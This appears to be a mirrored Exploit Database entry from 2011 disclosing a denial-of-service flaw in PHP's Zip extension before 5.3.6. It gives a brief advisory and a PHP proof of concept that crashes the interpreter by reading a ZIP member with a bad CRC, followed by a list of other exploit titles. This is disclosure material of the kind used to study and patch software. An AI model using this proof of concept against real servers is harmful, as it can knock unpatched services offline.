PHP < 5.3.6 'Zip' Extension - 'zip_fread()' Denial of Service

Exploit Database
118 阅读

作者： TorokAlpar

日期： 2011-03-10
类别：
- dos
平台：
- php
来源：https://www.exploit-db.com/exploits/35485/

source: https://www.securityfocus.com/bid/46975/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable.

<?php

$o = new ZipArchive();

if (! $o->open('test.zip',ZipArchive::CHECKCONS)) {

exit ('error can\'t open');

}

$o->getStream('file2'); // this file is ok

echo "OK";

$r = $o->getStream('file1'); // this file has a wrong crc

while (! feof($r)) {

fread($r,1024);

}

echo "never here\n";

last Exploits
PHP < 5.3.6 'Zip' Extension - 'zip_fread()' Denial of Service的更多信息

Microsoft Office PowerPoint 2010 – MSO/OART Heap Out-of-Bounds Access：
Adobe Flash – Out-of-Bounds Memory Read While Parsing a Mutated ‘.TTF’ File Embedded in SWF：
MySQL 5.5.45 – procedure analyse Function Denial of Service：
netek 0.8.2 – Denial of Service：
Alice Modem 1111 – ‘rulename’ Cross-Site Scripting / Denial of Service：
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)：
Ubiquiti airCam RTSP Service 1.1.5 – Buffer Overflow (PoC)：
OpenSSL – Padding Oracle in AES-NI CBC MAC Check：